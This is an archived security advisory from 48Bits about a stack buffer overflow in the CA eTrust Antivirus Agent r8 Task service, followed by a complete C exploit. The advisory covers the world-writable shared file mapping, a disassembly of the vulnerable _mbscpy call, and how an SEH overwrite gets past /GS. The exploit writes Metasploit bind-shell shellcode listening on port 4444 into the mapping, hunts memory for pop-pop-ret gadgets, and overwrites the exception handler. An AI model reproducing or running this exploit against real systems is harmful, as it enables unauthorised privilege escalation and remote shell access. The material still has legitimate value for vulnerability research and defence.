// source: https://www.securityfocus.com/bid/23906/info
Multiple products by Computer Associates are prone to multiple vulnerabilities that will allow remote attackers to execute arbitrary code on an affected computer.
Successful exploits will allow attacker-supplied arbitrary code to run within the context of the affected server. Failed exploit attempts will likely cause denial-of-service conditions.
/*
----------------------------------------------------------------------
| 48Bits Advisory -=- Privilege Elevation in eTrust Antivirus Agent r8 |
----------------------------------------------------------------------
Affected versions :
I have tested with:
- eTrust Antivirus Agent r8 - http://www3.ca.com/solutions/Product.aspx?ID=156
(With INOCORE.DLL 8.0.403.0) under XPSP2 and W2KSP4)
Description :
eTrust Antivirus r8 is prone to a stack-based buffer overflow vulnerability.
The Affected component is "eTrust Task service" running as a Windows service,
the executable file is located at:
"%PROGRAMFILES%\CA\eTrustITM\InoTask.exe"
eTrust Task service uses a shared file mapping named "INOQSIQSYSINFO" as an
IPC mechanism, this file mapping have a NULL security descriptor so anyone
can view/modify it. This mapping contains information about scheduled tasks,
including a field where is specified the file job´s path.
The vulnerable code is located at IN0CORE.DLL in the function QSIGetQueueID
which internally calls QSIGetQuePath passing a fixed buffer in order to
retrieve the queue path, no validation is done for the buffer size.
In order to exploit the vulnerability, malicious users can modify directly
the buffer through the file mapping with a long file path, so when InnoTask
read it the mentioned stack-based buffer overflow will be triggered.
Technical notes about the exploit:
Although the component was compiled with /GS option is still possible to exploit it:
The IONOQSIQSYSINFO filemapping has enough size to contain a long file path which
after overflowing return address and SEH Handlers will reach the end of the stack,
causing an access exception to be raised, then we can point the exception handler
to a memory containing a (pop,pop,ret) or (call [esp+8]) sequence, this isnt a problem
for W2K or XPSP1 because we have such sequence in a valid offset in the Inocore.dll
itself, but could pose one for WXP-SP2 or W2K3 where exception handlers must be
registered, i have found some addresses valid which can be used at least on my
test machine under XP-SP2, the PoC i have coded search in AnsiCodePageData
mapping in order to try to find one valid for your machine if XPSP2 or W2K3 are
detected, perhaps there are other ways to exploit it in a more efficient way but
this is only a PoC.
Disassembly:
////////////////////////////////////////////////////////////////////////////////////////////////
QSIGetQueuePath
.text:6DC82BD0 QSIGetQueuePath proc near ; CODE XREF: QSIGetQueueUsersFile+24p
.text:6DC82BD0 ; QSIGetQueueJobsFile+24p ...
.text:6DC82BD0
.text:6DC82BD0 var_110 = byte ptr -110h
.text:6DC82BD0 var_4 = dword ptr -4
.text:6DC82BD0 arg_0 = dword ptr 8
.text:6DC82BD0 arg_4 = dword ptr 0Ch
.text:6DC82BD0 arg_8 = dword ptr 10h
.text:6DC82BD0 arg_C = dword ptr 14h
.text:6DC82BD0
.text:6DC82BD0 push ebp
.text:6DC82BD1 mov ebp, esp
.text:6DC82BD3 and esp, 0FFFFFFF8h
.text:6DC82BD6 sub esp, 110h
.text:6DC82BDC mov eax, dword_6DC913F8
.text:6DC82BE1 mov [esp+110h+var_4], eax
.text:6DC82BE8 push esi
.text:6DC82BE9 mov esi, [ebp+arg_4]
.text:6DC82BEC push edi
.text:6DC82BED xor eax, eax
.text:6DC82BEF mov [esp+118h+var_110], 0
.text:6DC82BF4 mov ecx, 40h
.text:6DC82BF9 lea edi, [esp+9]
.text:6DC82BFD rep stosd
.text:6DC82BFF stosw
.text:6DC82C01 stosb
.text:6DC82C02 mov eax, [ebp+arg_C]
.text:6DC82C05 test eax, eax
.text:6DC82C07 mov byte ptr [esi], 0
.text:6DC82C0A jz loc_6DC82CA2
.text:6DC82C10 mov eax, [ebp+arg_8]
.text:6DC82C13 test eax, eax
.text:6DC82C15 mov edi, [ebp+arg_0]
.text:6DC82C18 jnz short loc_6DC82C2F
.text:6DC82C1A mov ecx, _filemap
.text:6DC82C20 mov eax, edi
.text:6DC82C22 imul eax, 194h
.text:6DC82C28 lea eax, [eax+ecx-144h]
.text:6DC82C2F
.text:6DC82C2F loc_6DC82C2F: ; CODE XREF: QSIGetQueuePath+48j
.text:6DC82C2F push eax ; unsigned __int8 *
.text:6DC82C30 push esi ; unsigned __int8 *
.text:6DC82C31 call ds:_mbscpy <- Here we can trigger the overflow!
And here is the call referenced from QSIGetQueueID ...
.text:6DC85CF3 loc_6DC85CF3: ; CODE XREF: QSIGetQueueID+AAj
.text:6DC85CF3 push 1 ; int
.text:6DC85CF5 push 0 ; int
.text:6DC85CF7 lea ecx, [esp+120h+var_108] < - Overflowed var
.text:6DC85CFB push ecx ; unsigned __int8 *
.text:6DC85CFC push eax ; int
.text:6DC85CFD mov [esp+128h+var_108], 0
.text:6DC85D02 call QSIGetQueuePath <- !!
////////////////////////////////////////////////////////////////////////////////////////////////
References:
- Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft
Windows 2003 Server. (David Litchfield, NGSSoftware).
Vulnerability discovered and analysis performed by:
binagres -=- binagres[4t]gmail.com
--
48Bits[I+D Team]
www.48bits.com
blog.48bits.com
*/
#include <stdio.h>
#include <windows.h>
#define Mapping "Global\\INOQSIQSYSINFO"
#define PathNameOffset 0x24C
#define HandlerOffset (0x2F8+PathNameOffset)
#define Base2Search (BYTE *)(0x7ffb0000) // AnsiCodePageData
//#define Off2popAndRet 0x7FFc07A4 <- This offset works for me on a VMWare witch XPSP2.
#define NOSP_Off2popAndRet (BYTE *)(0x6DC8102B) // Universal offset for SOs without stack protection.
// The address is inside inocore.dll:
// pop edi ; xor eax, eax ; pop ebx ; ret
/* win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
static unsigned char scode[] =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd1"
"\xd7\x17\x54\x83\xeb\xfc\xe2\xf4\x2d\xbd\xfc\x19\x39\x2e\xe8\xab"
"\x2e\xb7\x9c\x38\xf5\xf3\x9c\x11\xed\x5c\x6b\x51\xa9\xd6\xf8\xdf"
"\x9e\xcf\x9c\x0b\xf1\xd6\xfc\x1d\x5a\xe3\x9c\x55\x3f\xe6\xd7\xcd"
"\x7d\x53\xd7\x20\xd6\x16\xdd\x59\xd0\x15\xfc\xa0\xea\x83\x33\x7c"
"\xa4\x32\x9c\x0b\xf5\xd6\xfc\x32\x5a\xdb\x5c\xdf\x8e\xcb\x16\xbf"
"\xd2\xfb\x9c\xdd\xbd\xf3\x0b\x35\x12\xe6\xcc\x30\x5a\x94\x27\xdf"
"\x91\xdb\x9c\x24\xcd\x7a\x9c\x14\xd9\x89\x7f\xda\x9f\xd9\xfb\x04"
"\x2e\x01\x71\x07\xb7\xbf\x24\x66\xb9\xa0\x64\x66\x8e\x83\xe8\x84"
"\xb9\x1c\xfa\xa8\xea\x87\xe8\x82\x8e\x5e\xf2\x32\x50\x3a\x1f\x56"
"\x84\xbd\x15\xab\x01\xbf\xce\x5d\x24\x7a\x40\xab\x07\x84\x44\x07"
"\x82\x84\x54\x07\x92\x84\xe8\x84\xb7\xbf\x06\x08\xb7\x84\x9e\xb5"
"\x44\xbf\xb3\x4e\xa1\x10\x40\xab\x07\xbd\x07\x05\x84\x28\xc7\x3c"
"\x75\x7a\x39\xbd\x86\x28\xc1\x07\x84\x28\xc7\x3c\x34\x9e\x91\x1d"
"\x86\x28\xc1\x04\x85\x83\x42\xab\x01\x44\x7f\xb3\xa8\x11\x6e\x03"
"\x2e\x01\x42\xab\x01\xb1\x7d\x30\xb7\xbf\x74\x39\x58\x32\x7d\x04"
"\x88\xfe\xdb\xdd\x36\xbd\x53\xdd\x33\xe6\xd7\xa7\x7b\x29\x55\x79"
"\x2f\x95\x3b\xc7\x5c\xad\x2f\xff\x7a\x7c\x7f\x26\x2f\x64\x01\xab"
"\xa4\x93\xe8\x82\x8a\x80\x45\x05\x80\x86\x7d\x55\x80\x86\x42\x05"
"\x2e\x07\x7f\xf9\x08\xd2\xd9\x07\x2e\x01\x7d\xab\x2e\xe0\xe8\x84"
"\x5a\x80\xeb\xd7\x15\xb3\xe8\x82\x83\x28\xc7\x3c\x21\x5d\x13\x0b"
"\x82\x28\xc1\xab\x01\xd7\x17\x54";
BYTE * find_jmp (BYTE *lpAddress, DWORD dwSize)
{
DWORD i;
BYTE *p;
BYTE *retval = NULL;
for (i=0;i<(dwSize-4);i++)
{
p = lpAddress + i;
// POP + POP + RET
if ((p[0] > 0x57) && (p[0] < 0x5F) && (p[1] > 0x57) && (p[1] < 0x5F) && (p[2] > 0xC1) && (p[2] < 0xC4))
{
retval = p;
break;
}
// CALL DWORD PTR [ESP+8]
if ( (p[0] == 0xFF) &&
(p[1] == 0x54) &&
(p[2] == 0x24) &&
(p[3]==0x8) )
{
retval = p;
break;
}
}
return retval;
}
void main (int argc, char **argv)
{
HANDLE hMap;
BYTE *lpMap;
int i;
BYTE *Off2popAndRet=NULL;
OSVERSIONINFOA osvi;
printf( " -------------------------------------\n"
" Exploit for eTrust Antivirus Agent r8\n"
" -------------------------------------\n\n"
"binagres -=- binagres[4t]gmail.com\n"
" --\n"
" 48Bits.com\n"
" blog.48bits.com\n\n");
printf("Opening file mapping ... \n");
if ( (hMap = OpenFileMappingA(FILE_MAP_ALL_ACCESS,FALSE, Mapping)) )
{
if ( (lpMap = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0)) )
{
// Current file path stored in the mapping.
printf("Current path %s\n", lpMap+ PathNameOffset);
}
else
{
printf("Error while Mapping view of file\n");
return;
}
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
// OS detection ...
if ( osvi.dwMajorVersion < 5 )
{
printf("Using universal offset\n");
Off2popAndRet = NOSP_Off2popAndRet;
}
else
{
switch (osvi.dwMinorVersion)
{
case 0:
printf("W2K detected: using universal offset\n");
Off2popAndRet = NOSP_Off2popAndRet;
break;
case 1:
if (lstrcmpi("Service Pack 2", osvi.szCSDVersion))
{
Off2popAndRet = NOSP_Off2popAndRet;
printf("WXP - %s - detected, using universal offset\n",osvi.szCSDVersion);
}
else
{
printf("WXP - SP2 Detected no universal offset\n");
}
break;
case 2:
printf("W2K3 - %s - detected no universal offset\n");
break;
}
}
// Try to find the jmpcode by other way...
if (!Off2popAndRet)
{
Off2popAndRet = find_jmp(Base2Search,0x20000);
}
// Have we any jmp code?
if(Off2popAndRet)
{
printf("Valid Offset found at 0x%p!!\n", Off2popAndRet);
// Write Shellcode
for ( i = 0 ; i< sizeof(scode) ; i++ )
{
*(lpMap+ PathNameOffset + i) = scode[i];
}
// Fill the rest of the map - we want an access exception!! :-)
for ( i = PathNameOffset + sizeof(scode) - 1; i<0x1000 ; i++ )
{
*(lpMap+i) = 0x90;
}
// Offsets and jmps party
* ((DWORD *)(lpMap+ HandlerOffset - 4)) = 0x909006EB; // jmp $+6
* ((DWORD *)(lpMap+ HandlerOffset)) = (DWORD) Off2popAndRet;
* ((DWORD *)(lpMap+ HandlerOffset + 4)) = 0xFFFCFFE9; // for..
* ((BYTE *)(lpMap+ HandlerOffset + 8)) = 0xFF; // jmp (shellcode)
printf("Attack launched ... wait a few seconds and try \"telnet localhost 4444\" \n");
}
else
{
printf("Cannot find a jmpcode try it by yourself :-(\n");
}
}
else
{
printf("Cannot find eTrust filemapping\n");
}
}
